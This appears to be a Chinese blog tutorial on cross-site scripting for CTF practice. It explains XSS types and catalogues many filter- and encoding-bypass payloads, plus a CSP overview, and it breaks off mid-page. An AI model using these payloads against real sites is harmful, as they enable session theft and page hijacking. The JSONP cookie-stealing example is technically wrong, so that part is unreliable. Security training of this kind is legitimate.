最近学完XXE之后,对于这种恶意代码注入的漏洞提起来兴趣,想着现在正好趁热打铁,学习一下XSS,之前做题的时候看大师傅的wp一愣一愣的,不明白个所以然,这次系统的学习一下,在本文中将介绍有关XSS的知识点以及原理,也会介绍XSS的绕过姿势(这里参考了别的大师傅的思路,也给出了我自己的理解),希望给正在学习XSS的你有帮助。
跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的Web安全漏洞,攻击者通过在受害者的浏览器中注入恶意脚本来执行恶意行为。这种攻击通常利用Web应用程序没有对用户输入的数据进行足够的过滤和验证。
XSS跨站脚本攻击的原理是利用Web应用程序对用户输入数据的不足过滤和验证,将恶意脚本注入到受害者的浏览器中,使其在浏览器中执行。
攻击者通常会将恶意脚本嵌入到Web页面中的某个位置,比如输入框、评论框、搜索框等等,然后诱使用户访问这个被注入了恶意脚本的页面。当用户访问页面时,恶意脚本就会在用户的浏览器中被执行,从而执行攻击者预先设定好的恶意行为,比如窃取用户的Cookie信息、伪造用户的网站行为等等。
持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie
一般是将恶意代码通过交互界面上传到后端,然后从而上传到数据库中,当管理员admin查询数据库的信息时,恶意脚本又从后端到了前端,这也就是存储型XSS的数据流通。
这种XSS攻击方式相比于反射型XSS更加容易进行攻击,它可以把恶意脚本存储在数据库,实现自动化攻击
一般在做CTF题目中的具体思路就是利用GET、POST或者抓包在Referer,Cookie的地方植入我们的恶意脚本
<!DOCTYPE html> <html> <head> <title>存储型XSS示例</title> </head> <body> <h1>欢迎使用我们的网站!</h1> <form> <p>请输入您的评论:</p> <textarea name="comment"></textarea> <button type="submit">提交</button> </form> <?php // 处理评论表单的提交 if ($_SERVER['REQUEST_METHOD'] === 'POST') { $comment = $_POST['comment']; // 将评论存储到数据库中 $sql = "INSERT INTO comments (content) VALUES ('$comment')"; mysqli_query($conn, $sql); } ?> <h2>评论区</h2> <ul> <?php // 显示所有评论 $result = mysqli_query($conn, "SELECT * FROM comments"); while ($row = mysqli_fetch_assoc($result)) { echo "<li>" . $row['content'] . "</li>"; } ?> </ul> </body> </html>
如果我们在评论区尝试最基础的JavaScript代码,
<script>alert(hack)</script>
会成功弹窗
非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
一般就是题目给一个<input>标签形成的输入框,然后我们在输入框里输入我们的恶意脚本,需要用户进行触发才能进行攻击,在前端输入恶意脚本,后端接受,然后再在前端显示,这也就是反射型XSS的数据流通。
这种XSS攻击方式是最简单的一种XSS攻击方式,它需要用户手动触发才能执行。
在CTF中,反射型XSS算是比较常见的一种XSS攻击方式了,题目会给一个输入框,然后绕过过滤,执行恶意脚本
<!DOCTYPE html> <html> <head> <title>反射型XSS示例</title> </head> <body> <h1>欢迎使用我们的网站!</h1> <p>请输入您的姓名:</p> <form> <input type="text" name="name"> <button type="submit">提交</button> </form> <p>您好,<?php echo $_GET['name']; ?>!</p> </body> </html>
在接受name传参的值时,html页面是没有任何保护措施的,用户如果在这里执行了JavaScript代码,也会直接输出,从而进行XSS攻击
不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
这种XSS攻击是不经过后端的,它也算是一种反射型XSS,但是它的数据流通过程比较简单,就是在前端url添加我们的恶意脚本,然后直接在页面输出了
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>DOM-based XSS</title> </head> <body> <h1>欢迎来到我的blog!</h1> <script> var query = window.location.search.substring(1); var name = query.split("=")[1]; document.write("<p>Hello, " + name + "!</p>"); </script> </body> </html>
<script>alert(hack)</script>
可以发现我们通过name传参的JavaScript代码已经嵌入到HTML页面中了,也就完成了DOM型XSS攻击
介绍一下我最近发现的一个比较罕见的XSS攻击方式
这个其实也是反射型XSS的一种攻击方式。
这是一种比较罕见的一种XSS的攻击方式,它利用JSONP协议实现,一般浏览器都会设置CSP同源策略限制,不允许直接调用其他域名的API,这就出现了JSONP协议,JSONP协议通过利用浏览器对<script>
标签的允许跨域加载特性,允许从一个域名中获取到另一个域名的数据。所以说我们作为攻击者可以在JSONP请求中注入恶意代码实现XSS攻击。
如果我们有一个API端口为"http://Evi1s7.com/api",它返回一个JSONP响应,其中包含一个名为`callback`的函数,该函数将数据作为参数传递。
callback({ "name": "John", "age": 30 });
攻击者可以构造一个恶意URL,以便在受害者浏览器中执行恶意脚本:
https://Evi1s7.com/api?callback=attackerFunction
这会导致我们之前的API端口返回的JSON发生了修改
attacjerFunction({ "name": "John", "age": 30 });
攻击者可以在页面中定义attackerFunction
,然后注入恶意脚本:
<script> function attackerFunction(data) { // 恶意代码 document.cookie = "sessionID=" + data.name; } </script>
利用上述恶意脚本,我们可以获得John的sessionID值,窃取Cookie从而实现无密码登录,实现XSS攻击
其实通俗一点来说,就是我们的XSS最终插入到哪里
源码示例
<!-- Evi1s7 --> <!-- <script> alert('XSS攻击成功!'); </script> -->
我们可以利用闭合的方式从而插入HTML注释内容之中
源码示例
<script>alert('Evi1s7')</script><img src="image.png" onerror="<script>alert('Evi1s7')</script>">
在这一段示例的代码中,可以看见我们将<script>恶意代码插入到了<img>标签的oneerror属性中,从而欺骗浏览器执行恶意代码</p> <p>当image图片无法显示时,会调用onerror属性,从而执行恶意脚本</p> <h3>3.插入到HTML标签的属性名中</h3> <p>源码示例</p> <div class="highlight"><pre><span></span><span class="x"><input type="text" onclick="alert('Evi1s7')" name="><script>alert('XSS攻击成功!')</script>"></span> </pre></div> <p>在这一段示例的代码,将恶意代码插入到了<input>标签中的name属性值中,我们可以利用闭合的方式将恶意代码插入到<input>标签中,实现XSS攻击</p> <h3>4.插入到HTML标签名中</h3> <p>源码示例</p> <div class="highlight"><pre><span></span><span class="x"><<script>alert('XSS攻击成功!')</script>img src="Evi1s7.png"></span> </pre></div> <p>在这一段代码中,我们将恶意代码插入到<img>标签中,由于标签名被拆分成两部分,浏览器会将第一个尖括号视为标签名的起始符号,而第二个尖括号则是 <code><script></code> 标签的起始符号,导致浏览器误以为有两个标签被嵌套在一起,从而实现我们的XSS攻击</p> <h3>5.最简单的插入到script,img,svg标签中</h3> <p>源码示例</p> <pre><code><script>alert(Evi1s7)</script></code></pre> <h3>6.插入到CSS中</h3> <p>源码示例</p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">div</span> <span class="na">style</span><span class="o">=</span><span class="s">"background-image:url('javascript:alert(`Evi1s7`)');"</span><span class="p">></span> </pre></div> <p>我们在background-image样式属性中插入了一段JavaScript url,当用户打开这一个页面时,会执行弹窗,浏览器会执行我们插入的java伪协议代码,从而执行恶意代码。</p> <h3>7.插入到HTTP响应中</h3> <p>这也就牵扯到CRLF漏洞了,目前我还没有接触过利用CRLF漏洞进行XSS,我就先说一下我的理解吧</p> <p>在 HTTP 协议中,CRLF 被用来分隔 HTTP 请求和响应中的各个部分。</p> <p>CRLF 是回车符(carriage return,CR)和换行符(line feed,LF)的缩写,它们通常被一起使用来表示一行的结束。CRLF 漏洞(也称为 HTTP 报头注入漏洞)是一种 Web 应用程序安全漏洞,攻击者可以利用这个漏洞向 HTTP 响应中注入任意的 HTTP 头或者响应体,一般攻击者可以通过在输入中注入 CRLF 字符来改变 HTTP 响应的内容,从而实现恶意操作。</p> <p>比如有一个搜索关键词的网站利用GET的形式传参</p> <pre><code>exp:?key=aaa</code></pre> <p>如果该网站存在CRLF漏洞,那么我们就可以利用回车符/换行符进行绕过过滤</p> <pre><code>?key=%0d%0a%0d%0a<img src=1 onerror=alert(1)></code></pre> <p>我们抓一下包看一下返回包</p> <pre><code>HTTP/1.1 200 OK Date:xxxxxxxxxx Content-type:text/html Contet-Length:xxx Connection:close Location: <img src=1 onerror=alert(/xss/)></code></pre> <p>可以发现我们利用CRLF漏洞将http包分为了header和body,利用回车符/换行符成功执行了body中的代码,实现XSS</p> <p>如果遇到XSS过滤的情况我们还可以在httpheader中注入X-XSS-Protection:0,可绕过浏览器的过滤规则实现XSS弹窗显示。</p> <h2>5.XSS的绕过</h2> <p>在做XSS-labs靶场以及平日做题的时候,碰到一些挺有意思的绕过方式,也学习到了其他师傅的绕过姿势,正好在这里总结一下。</p> <h3>1.关键词绕过</h3> <h4>1.大小写绕过</h4> <p>源码示例</p> <div class="highlight"><pre><span></span><span class="cp"><!DOCTYPE html></span> <span class="p"><</span><span class="nt">html</span><span class="p">></span> <span class="p"><</span><span class="nt">head</span><span class="p">></span> <span class="p"><</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">"UTF-8"</span><span class="p">></span> <span class="p"><</span><span class="nt">title</span><span class="p">></span>XSS漏洞示例<span class="p"></</span><span class="nt">title</span><span class="p">></span> <span class="p"></</span><span class="nt">head</span><span class="p">></span> <span class="p"><</span><span class="nt">body</span><span class="p">></span> <span class="p"><</span><span class="nt">h1</span><span class="p">></span>搜索结果<span class="p"></</span><span class="nt">h1</span><span class="p">></span> <span class="cp"><?php</span> <span class="cp"> $q = isset($_GET['q']) ? $_GET['q'] : '';</span> <span class="cp"> $q = strtolower($q); </span> <span class="cp"> ?></span> <span class="p"><</span><span class="nt">p</span><span class="p">></span>你搜索的关键词是:<span class="cp"><?php echo $q; ?></span><span class="p"></</span><span class="nt">p</span><span class="p">></span> <span class="p"><</span><span class="nt">script</span><span class="p">></span> <span class="kd">var</span> <span class="nx">searchQuery</span> <span class="o">=</span> <span class="s1">'<?php echo $q; ?>'</span><span class="p">;</span> <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="s2">"<p>搜索结果为:"</span> <span class="o">+</span> <span class="nx">searchQuery</span> <span class="o">+</span> <span class="s2">"</p>"</span><span class="p">);</span> <span class="p"></</span><span class="nt">script</span><span class="p">></span> <span class="p"></</span><span class="nt">body</span><span class="p">></span> <span class="p"></</span><span class="nt">html</span><span class="p">></span> </pre></div> <p>上面的代码运用了php中的一个strtolower()函数,将字符串转为小写,但是我们可以利用大小写绕过</p> <pre><code>xxxxx?q=<sCriPt>alert(1)<sCriPt></code></pre> <p>发现成功弹窗</p> <h4>2.拼接绕过</h4> <p><strong>0x01. eval</strong></p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"eval('al'+'ert(Evi1s7)')"</span><span class="p">></span> </pre></div> <p><strong>0x02. top</strong></p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"top['al'+'ert'](Evi1s7)"</span><span class="p">></span> </pre></div> <p><strong>0x03. window</strong></p> <pre><code><img src="x" onerror="window['al'+'ert'](1)"></code></pre> <p><strong>0x04. self</strong></p> <pre><code><img src="x" onerror="self[`al`+`ert`](1)"></code></pre> <p><strong>0x05. parent</strong></p> <pre><code><img src="x" onerror="parent[`al`+`ert`](1)"></code></pre> <p><strong>0x06. frames</strong></p> <pre><code><img src="x" onerror="frames[`al`+`ert`](1)"></code></pre> <h4>3.函数替换</h4> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"eval(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"open(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"document.write(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"setTimeout(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"setInterval(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"Set.constructor(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"Map.constructor(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"Array.constructor(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"WeakSet.constructor(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"constructor.constructor(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"[1].map(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"[1].find(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"[1].every(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"[1].filter(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"[1].forEach(alert(1))"</span><span class="p">></span> <span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"x"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"[1].findIndex(alert(1))"</span><span class="p">></span> </pre></div> <p>以上只是利用<img>标签进行举例,也可以在别的标签中使用</p> <p>比如<script></p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">script</span><span class="p">></span><span class="nb">Array</span><span class="p">.</span><span class="nx">constructor</span><span class="p">(</span><span class="s1">'alert(1)'</span><span class="p">)()</</span><span class="nt">script</span><span class="p">></span> </pre></div> <p>比如<iframe></p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">"nonexistent.html"</span> <span class="na">onerror</span><span class="o">=</span><span class="s">"[1].findIndex(alert(1))"</span><span class="p">></</span><span class="nt">iframe</span><span class="p">></span> </pre></div> <p>所以说我们知道这些函数替换就可以</p> <h4>4.嵌套绕过</h4> <p>这就要牵扯到上面提到的XSS的攻击对象了</p> <p>这个就是利用原理进行绕过的</p> <pre><code><sc<script>ript>alert('Evi1s7')</sc</script>ript></code></pre> <h4>5.赋值绕过</h4> <p>提供几个payload</p> <pre><code><img src onerror=_=alert,_(1)> <img src x=al y=ert onerror=top[x+y](1)> <img src x=al y=ert onerror=window[x+y](1)> #在网页没有嵌套框架时才有效。 <img src onerror=top[a='al',b='ev',b+a]('alert(1)')> <img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)></code></pre> <h3>2.编码绕过</h3> <h4><strong>1.html实体编码转义</strong></h4> <p>当我们的可控点为单个标签属性时,可以使用 html 实体编码。</p> <pre><code><iframe src="可控点">test<iframe> <script>可控点</script></code></pre> <p>payload:</p> <pre><code><a href=javascript:alert(1)>aaa</a></code></pre> <p><strong>十进制绕过</strong></p> <pre><code><a href=javascript:alert(1)>aaa</a></code></pre> <p><strong>十六进制绕过</strong>(如果题目过滤了分号,这里其实也可以把分号删去)</p> <pre><code><a href=javascript:alert(1)>aaa</a></code></pre> <p><strong>填充0</strong></p> <pre><code><a href=&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029>aaa</a></code></pre> <h4><strong>2.url编码绕过</strong></h4> <p>需要注入点存在href属性或者src属性,才可以利用url编码转义</p> <p>(注意在url解析过程中,不能对协议类型进行任何的编码操作)</p> <pre><code><a href=javascript:alert(1)>Evi1s7</a> # <a href=javascript:%61%6c%65%72%74%28%31%29>Evi1s7</a></code></pre> <pre><code><iframe src=javascript:%61%6c%65%72%74%28%31%29>Evi1s7</iframe></code></pre> <h5>这里顺便介绍一下href属性和src属性配合JavaScript中的标签的意思:</h5> <h6><strong>1.src属性</strong></h6> <p>总的来说,<code>src</code>属性通常用于指定外部资源的URL,让浏览器从指定的URL中获取资源并加载它们。</p> <p>0x01:<script>标签</p> <p><code>src</code>属性用于指定引入外部JavaScript文件的URL</p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">"path/to/your/javascript/file.js"</span><span class="p">></</span><span class="nt">script</span><span class="p">></span> </pre></div> <p>0x02:.<img>标签</p> <p><code>src</code>属性用于指定要显示的图像的URL</p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"path/to/your/image.jpg"</span> <span class="na">alt</span><span class="o">=</span><span class="s">"Your Image"</span><span class="p">></span> </pre></div> <p>0x03:<iframe>标签</p> <p><code>src</code>属性用于指定要嵌入的另一个文档的URL。</p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">"path/to/your/page.html"</span><span class="p">></</span><span class="nt">iframe</span><span class="p">></span> </pre></div> <p>0x04:<audio>和<video>标签</p> <p><code>src</code>属性用于指定要播放的音频或视频的URL</p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">audio</span> <span class="na">controls</span><span class="p">></span> <span class="p"><</span><span class="nt">source</span> <span class="na">src</span><span class="o">=</span><span class="s">"path/to/your/audio.mp3"</span> <span class="na">type</span><span class="o">=</span><span class="s">"audio/mp3"</span><span class="p">></span> <span class="p"></</span><span class="nt">audio</span><span class="p">></span> </pre></div> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">video</span> <span class="na">controls</span><span class="p">></span> <span class="p"><</span><span class="nt">source</span> <span class="na">src</span><span class="o">=</span><span class="s">"path/to/your/video.mp4"</span> <span class="na">type</span><span class="o">=</span><span class="s">"video/mp4"</span><span class="p">></span> <span class="p"></</span><span class="nt">video</span><span class="p">></span> </pre></div> <h6><strong>2.href属性</strong></h6> <p>总的来说,<code>href</code>属性通常用于指定链接目标的URL或外部资源的URL,以及用于指定基准URL或图像地图中区域的URL。</p> <p>0x01:<a>标签</p> <p><code>href</code>属性用于指定链接目标的URL。</p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">"path/to/your/page.html"</span><span class="p">></span>Link Text<span class="p"></</span><span class="nt">a</span><span class="p">></span> </pre></div> <p>0x02:<link>标签</p> <p><code>href</code>属性用于指定外部样式表的URL。</p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">"stylesheet"</span> <span class="na">type</span><span class="o">=</span><span class="s">"text/css"</span> <span class="na">href</span><span class="o">=</span><span class="s">"path/to/your/stylesheet.css"</span><span class="p">></span> </pre></div> <p>0x03:<base>标签</p> <p><code>href</code>属性用于指定基准URL,所有相对URL都将以该URL为基础。</p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">base</span> <span class="na">href</span><span class="o">=</span><span class="s">"https://www.example.com/"</span><span class="p">></span> <span class="p"><</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">"path/to/your/page.html"</span><span class="p">></span>Link Text<span class="p"></</span><span class="nt">a</span><span class="p">></span> </pre></div> <p>0x04:<area>标签</p> <p><code>href</code>属性用于指定图像地图中区域的URL。</p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">"path/to/your/image.jpg"</span> <span class="na">alt</span><span class="o">=</span><span class="s">"Your Image"</span> <span class="na">usemap</span><span class="o">=</span><span class="s">"#your-map"</span><span class="p">></span> <span class="p"><</span><span class="nt">map</span> <span class="na">name</span><span class="o">=</span><span class="s">"your-map"</span><span class="p">></span> <span class="p"><</span><span class="nt">area</span> <span class="na">shape</span><span class="o">=</span><span class="s">"rect"</span> <span class="na">coords</span><span class="o">=</span><span class="s">"0,0,100,100"</span> <span class="na">href</span><span class="o">=</span><span class="s">"path/to/your/page.html"</span><span class="p">></span> <span class="p"></</span><span class="nt">map</span><span class="p">></span> </pre></div> <h3>3.空格绕过</h3> <p>在html的标签中的不同位置的空格绕过方式不是一样的</p> <pre><code><html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html></code></pre> <p>A位置: /,/123/,%09,%0A,%0C,%0D,%20</p> <p>B位置:%09,%0A,%0C,%0D,%20</p> <p>C位置:%0B,/**/ (如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20)</p> <p>D位置:%09,%0A,%0C,%0D,%20,//,></p> <h3>4.()绕过</h3> <p><strong>1.利用反引号</strong></p> <pre><code><script>alert`1`</script></code></pre> <p><strong>2.throw绕过</strong></p> <pre><code><script>alert;throw 1</script></code></pre> <pre><code><svg/onload="window.onerror=eval;throw'=alert\x281\x29';"></code></pre> <h3>5.单引号过滤</h3> <p>1.可以利用斜杠替换</p> <pre><code><script>alert(/Evi1s7/)</script></code></pre> <p>2.利用反引号替换</p> <pre><code><script>alert(`Evi1s7`)</script></code></pre> <h3>6.alert过滤绕过</h3> <p><strong>1.利用其他JavaScript的函数替换</strong></p> <p>prompt()</p> <pre><code><script>prompt('Evi1s7')</script></code></pre> <p>confirm()</p> <pre><code><script>confirm('Evi1s7')</script></code></pre> <p>console.log()</p> <pre><code><script>console.log('Evi1s7')</script></code></pre> <p>document.write()</p> <pre><code><script>document.write('Evi1s7')</script></code></pre> <p><strong>2.利用编码绕过</strong></p> <pre><code><img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```"> #alert(1)</code></pre> <pre><code><a href=javascript:%61%6c%65%72%74%28%31%29>aaa</a> #alert(1)</code></pre> <h3>7.长度限制</h3> <p>可以利用拆分法</p> <pre><code><script>a='document.write("'</script> <script>a=a+'<a href=ht'</script> <script>a=a+'tp://VPS-IP:po'</script> <script>a=a+'rt>Evi1s7</a>")'</script> <script>eval(a)</script></code></pre> <p>利用eval()函数将字符串解析为可执行的代码,从而进行拼接</p> <pre><code>document.write("<a href=http://VPS-IP:port>Evi1s7</a>")</code></pre> <h3>8.分号绕过</h3> <p>当只过滤了分号时,可以利用花括号进行语句隔离</p> <pre><code><script>{onerror=alert}throw 1</script></code></pre> <h3>9.绕过CSP</h3> <h4>CSP概念</h4> <pre><code>CSP指的是Content Security Policy,即内容安全策略。它是一种安全机制,用于保护网站免受跨站脚本攻击(XSS攻击)、数据盗取等Web攻击的影响。 CSP指令可以在HTTP响应头中设置,也可以在HTML文档中使用meta标签设置。 通过CSP,网站管理员可以告诉浏览器哪些资源可以加载到页面中,例如可以信任哪些来源的JavaScript、CSS、图片等资源。这样,浏览器就只会加载来自这些受信任来源的资源,从而减少了被恶意脚本攻击的风险。</code></pre> <h4>CSP的分类</h4> <p>1.<strong>Content-Security-Policy</strong>:当我们配置好并且启用之后,不符合我们设置的CSP的外部资源会被直接拦截</p> <p>2.<strong>Content-Security-Policy-Report-Only</strong>:这个配置好之后只能记录违反限制的行为,并不能进行拦截(这里也是一个漏洞),但是当我们和report-uri选项配合时可以进行拦截违法行为。</p> <h4>CSP的结构</h4> <p>CSP由一组指令组成,每个指令用于指定允许加载的资源类型和来源,一个CSP头由多组CSP策略组成,中间由分号分隔。</p> <ol> <li>指令关键字:指令关键字用于标识指令类型,例如<code>default-src</code>、<code>script-src</code>、<code>style-src</code>等。</li> <li>指令值:指令值用于指定允许加载资源的来源,可以是一个或多个来源,多个来源之间用空格分隔。来源可以是URL、域名、IP地址或通配符等。</li> <li>指令选项:指令选项用于指定一些特殊行为,例如<code>'self'</code>选项用于指定资源只能从同一域名加载,<code>'unsafe-inline'</code>选项用于允许内联脚本等。</li> <li>指令策略:指令策略用于指定如何处理不符合CSP策略的请求,可以选择<code>'allow'</code>、<code>'block'</code>、<code>'report'</code>等选项,每一组策略包含一个策略指令和一个内容源列表。</li> </ol> <p>示例CSP策略</p> <div class="highlight"><pre><span></span><span class="nt">Content-Security-Policy</span><span class="o">:</span> <span class="nt">default-src</span> <span class="s1">'self'</span><span class="o">;</span> <span class="nt">script-src</span> <span class="s1">'self'</span> <span class="s1">'unsafe-inline'</span> <span class="nt">example</span><span class="p">.</span><span class="nc">com</span><span class="o">;</span> <span class="nt">img-src</span> <span class="o">*</span> <span class="nt">data</span><span class="o">:;</span> <span class="nt">report-uri</span> <span class="o">/</span><span class="nt">csp-report</span> </pre></div> <ol> <li>Content-Security-Policy是CSP的header字段</li> <li><code>default-src</code>指令用于限制默认允许加载的资源类型和来源,这里指定只允许从同一域名加载资源。</li> <li><code>script-src</code>指令用于限制JavaScript脚本的来源,这里指定允许从同一域名加载和允许内联脚本,并允许从<code>example.com</code>域名加载。</li> <li><code>img-src</code>指令用于限制图片的来源,这里指定允许从任何来源加载图片和data URI。</li> <li>策略还指定了违规报告的URL,任何不符合CSP策略的请求将被报告到<code>/csp-report</code>。</li> </ol> <h5>CSP中常见的策略指令</h5> <p>这些指令可以与特定的源(例如域名、协议、端口)一起使用,也可以使用通配符(*)来表示所有来源。</p> <ol> <li><code>default-src</code>: 指定默认允许加载的资源类型和来源。</li> <li><code>script-src</code>: 限制JavaScript脚本的来源。</li> <li><code>style-src</code>: 限制CSS样式表的来源。</li> <li><code>img-src</code>: 限制图片的来源。</li> <li><code>connect-src</code>: 限制XMLHttpRequest和WebSocket的来源。</li> <li><code>font-src</code>: 限制字体的来源。</li> <li><code>object-src</code>: 限制object、embed、applet等插件的来源。</li> <li><code>media-src</code>: 限制音频、视频等媒体资源的来源。</li> <li><code>frame-src</code>: 限制iframe的来源。</li> <li><code>child-src</code>: 限制子窗口的来源,包括iframe、web worker、embed等。</li> <li><code>form-action</code>: 限制表单提交的目标地址。</li> <li><code>sandbox</code>: 限制iframe中的脚本和插件的执行权限。</li> <li><code>base-uri</code>: 限制base标签的目标地址。</li> <li><code>report-uri</code>: 指定违规报告的URL。</li> </ol> <h5>CSP策略指令中常见的关键词</h5> <p>CSP策略指令包含一些关键词,这些关键词用于指定资源的类型和来源。</p> <ol> <li><code>self</code>: 表示当前网站的源,也就是只允许从同一域名加载资源。</li> <li><code>none</code>: 表示不允许加载任何资源。</li> <li><code>unsafe-inline</code>: 表示允许内联脚本、样式表等,但存在安全风险。</li> <li><code>unsafe-eval</code>: 表示允许使用<code>eval()</code>函数执行代码,但存在安全风险。</li> <li><code>strict-dynamic</code>: 表示允许通过<code>nonce</code>或<code>hash</code>机制执行动态脚本,但不允许其他方式的动态脚本。</li> <li><code>nonce-xxxx</code>: 表示允许执行指定的<code>nonce</code>值所对应的脚本,用于限制内联脚本的来源。</li> <li><code>hash-xxxx</code>: 表示允许执行指定的哈希值所对应的脚本,用于限制外部脚本的来源。</li> <li><code>data:</code>: 表示允许加载data URI格式的资源。</li> <li><code>blob:</code>: 表示允许加载blob URL格式的资源。</li> <li><code>mediastream:</code>: 表示允许加载mediastream格式的资源。</li> </ol> <h5>CSP策略指令中的存在安全风险数据类型</h5> <p>1.<code>data</code>:用于指定可以从<code>data URI</code>格式加载的资源。<code>data URI</code>可以直接将资源的内容编码为字符串嵌入到URL中,而不需要从外部加载资源,因此会有一定的安全风险</p> <p><strong>示例CSP策略</strong></p> <div class="highlight"><pre><span></span><span class="nt">Content-Security-Policy</span><span class="o">:</span> <span class="nt">default-src</span> <span class="s1">'self'</span><span class="o">;</span> <span class="nt">img-src</span> <span class="s1">'self'</span> <span class="nt">data</span><span class="o">:;</span> </pre></div> <p>在这个CSP策略中,限制默认加载的资源只能来自当前网站的源,图片的来源可以是来自当前网站的源,也可以是利用<code>data uri</code>中加载,作为攻击者,可以利用<code>data uri</code>构造恶意脚本直接嵌入URL中,从而进行XSS攻击</p> <p>2.<code>mediastream</code>:用于指定可以从哪些媒体流(例如摄像头或麦克风)加载资源。配合<code>media-src</code>策略指令使用,允许 mediastream: URI 作为内容来源。</p> <p><strong>示例CSP策略</strong></p> <div class="highlight"><pre><span></span><span class="nt">Content-Security-Policy</span><span class="o">:</span> <span class="nt">media-src</span> <span class="nt">mediastream</span><span class="o">:</span> </pre></div> <p>这个CSP策略只允许从通过<code>getUserMedia()</code>方法获取的媒体流加载媒体资源,其他来源将被禁止。</p> <p>3.<code>blob</code>:允许在HTML页面中使用Blob URL,这是一种允许在浏览器中生成URL的API。当CSP策略允许任何来源使用blob数据类型时,会产生安全风险。</p> <p><strong>示例CSP策略</strong></p> <div class="highlight"><pre><span></span><span class="nt">Content-Security-Policy</span><span class="o">:</span> <span class="nt">default-src</span> <span 